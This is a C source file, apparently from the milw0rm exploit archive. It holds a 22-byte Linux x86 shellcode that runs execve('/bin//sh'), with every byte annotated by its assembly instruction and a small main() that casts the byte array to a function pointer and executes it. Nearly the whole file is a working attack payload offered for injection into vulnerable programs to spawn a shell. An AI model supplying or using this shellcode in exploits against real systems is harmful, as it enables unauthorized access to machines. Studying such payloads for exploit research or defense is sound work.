41 lines
No EOL
1.3 KiB
C
41 lines
No EOL
1.3 KiB
C
/*
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* revenge-execve.c, v1.0 2006/10/14 16:32
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*
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* Yet another linux execve shellcode..
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* linux/x86 execve("/bin//sh/",["/bin//sh"],NULL) shellcode
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*
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* http://www.0xcafebabe.it
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* <revenge@0xcafebabe.it>
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*
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* But this time it's 22 bytes
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*
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* [ We could start the shellcode with a mov instead of (push + pop) eax ]
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* [ obtaining the same result with 1 byte less, but if we had something ]
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* [ wrong in eax (ex. -1 due to an unclear function exit) we can't ]
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* [ inject it ]
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*
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* */
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char sc[] =
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// <_start>
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"\xb0\x0b" // mov $0xb,%al
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"\x99" // cltd
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"\x52" // push %edx
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"\x68\x2f\x2f\x73\x68" // push $0x68732f2f
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"\x68\x2f\x62\x69\x6e" // push $0x6e69622f
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"\x89\xe3" // mov %esp,%ebx
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"\x52" // push %edx
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"\x53" // push %ebx
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"\x89\xe1" // mov %esp,%ecx
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"\xcd\x80" // int $0x80
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;
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int main()
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{
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void (*fp)(void) = (void (*)(void))sc;
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printf("Length: %d\n",strlen(sc));
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fp();
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}
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// milw0rm.com [2006-11-16]
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